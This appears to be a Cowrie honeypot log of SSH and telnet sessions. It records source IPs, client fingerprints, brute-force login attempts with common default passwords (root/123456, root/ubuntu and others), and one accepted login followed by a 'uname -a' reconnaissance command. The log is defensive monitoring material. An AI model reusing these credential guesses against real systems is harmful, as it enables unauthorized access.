{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:14.050688Z","src_ip":"193.24.211.100","session":"5828d59f7f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:14.159002Z","src_ip":"193.24.211.100","session":"5828d59f7f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Idc@123","message":"login attempt [root/Idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:14.581395Z","src_ip":"193.24.211.100","session":"5828d59f7f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:15.693153Z","src_ip":"193.24.211.100","session":"5828d59f7f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":25731,"dst_ip":"10.17.0.5","dst_port":22,"session":"f36b220263d6","protocol":"ssh","message":"New connection: 154.117.199.5:25731 (10.17.0.5:22) [session: f36b220263d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:26.689638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:26.926761Z","src_ip":"154.117.199.5","session":"f36b220263d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:27.166478Z","src_ip":"154.117.199.5","session":"f36b220263d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33568,"dst_ip":"10.17.0.5","dst_port":22,"session":"a22f91be531d","protocol":"ssh","message":"New connection: 103.15.226.202:33568 (10.17.0.5:22) [session: a22f91be531d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:29.540950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:29.545466Z","src_ip":"103.15.226.202","session":"a22f91be531d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:29.796398Z","src_ip":"103.15.226.202","session":"a22f91be531d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [oracle/!QAZ2wsx#EDC4rfv] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:30.600097Z","src_ip":"103.15.226.202","session":"a22f91be531d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:31.136016Z","src_ip":"103.15.226.202","session":"a22f91be531d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:31.138583Z","src_ip":"103.15.226.202","session":"a22f91be531d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:31.392454Z","src_ip":"103.15.226.202","session":"a22f91be531d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:31.397996Z","src_ip":"103.15.226.202","session":"a22f91be531d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.38","src_port":28506,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe3536dcf8a5","protocol":"ssh","message":"New connection: 31.57.216.38:28506 (159.203.135.109:22) [session: fe3536dcf8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:39.898437Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:39.903011Z","src_ip":"31.57.216.38","session":"fe3536dcf8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.38","src_port":28514,"dst_ip":"159.203.135.109","dst_port":22,"session":"78cab460fea2","protocol":"ssh","message":"New connection: 31.57.216.38:28514 (159.203.135.109:22) [session: 78cab460fea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:40.049676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:40.054722Z","src_ip":"31.57.216.38","session":"78cab460fea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:40.157589Z","src_ip":"31.57.216.38","session":"78cab460fea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:40.505288Z","src_ip":"31.57.216.38","session":"78cab460fea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:29:41.611895Z","src_ip":"31.57.216.38","session":"78cab460fea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.176.143.179","src_port":37818,"dst_ip":"10.17.0.5","dst_port":23,"session":"8799a289b65a","protocol":"telnet","message":"New connection: 186.176.143.179:37818 (10.17.0.5:23) [session: 8799a289b65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:30:27.699967Z"}
{"eventid":"cowrie.session.closed","duration":13.383477210998535,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:30:41.083339Z","src_ip":"186.176.143.179","session":"8799a289b65a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.113.128.189","src_port":10540,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd3b63edc02","protocol":"telnet","message":"New connection: 105.113.128.189:10540 (10.17.0.5:23) [session: 6dd3b63edc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:32:23.083096Z"}
{"eventid":"cowrie.session.closed","duration":13.5586838722229,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:32:36.641667Z","src_ip":"105.113.128.189","session":"6dd3b63edc02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34254,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd73ec2f412","protocol":"ssh","message":"New connection: 103.15.226.202:34254 (10.17.0.5:22) [session: 6bd73ec2f412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:03.110272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:03.115203Z","src_ip":"103.15.226.202","session":"6bd73ec2f412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:03.363129Z","src_ip":"103.15.226.202","session":"6bd73ec2f412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scanner","password":"scanner","message":"login attempt [scanner/scanner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:04.107662Z","src_ip":"103.15.226.202","session":"6bd73ec2f412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:05.364681Z","src_ip":"103.15.226.202","session":"6bd73ec2f412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":55382,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc19b37573d9","protocol":"ssh","message":"New connection: 113.0.152.164:55382 (159.203.135.109:22) [session: dc19b37573d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:17.703925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:17.709243Z","src_ip":"113.0.152.164","session":"dc19b37573d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:17.945181Z","src_ip":"113.0.152.164","session":"dc19b37573d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:18.652871Z","src_ip":"113.0.152.164","session":"dc19b37573d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:19.892460Z","src_ip":"113.0.152.164","session":"dc19b37573d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":57244,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a45ed667c9","protocol":"ssh","message":"New connection: 113.0.152.164:57244 (159.203.135.109:22) [session: 26a45ed667c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:20.127211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:20.131241Z","src_ip":"113.0.152.164","session":"26a45ed667c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:20.368230Z","src_ip":"113.0.152.164","session":"26a45ed667c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:21.080775Z","src_ip":"113.0.152.164","session":"26a45ed667c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:22.324174Z","src_ip":"113.0.152.164","session":"26a45ed667c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":59192,"dst_ip":"159.203.135.109","dst_port":22,"session":"2422d721529c","protocol":"ssh","message":"New connection: 113.0.152.164:59192 (159.203.135.109:22) [session: 2422d721529c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:22.589443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:22.594072Z","src_ip":"113.0.152.164","session":"2422d721529c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:22.847011Z","src_ip":"113.0.152.164","session":"2422d721529c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:23.606236Z","src_ip":"113.0.152.164","session":"2422d721529c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:24.869876Z","src_ip":"113.0.152.164","session":"2422d721529c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":32962,"dst_ip":"159.203.135.109","dst_port":22,"session":"b01236da4562","protocol":"ssh","message":"New connection: 113.0.152.164:32962 (159.203.135.109:22) [session: b01236da4562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:25.085036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:25.090755Z","src_ip":"113.0.152.164","session":"b01236da4562","protocol":"ssh"}
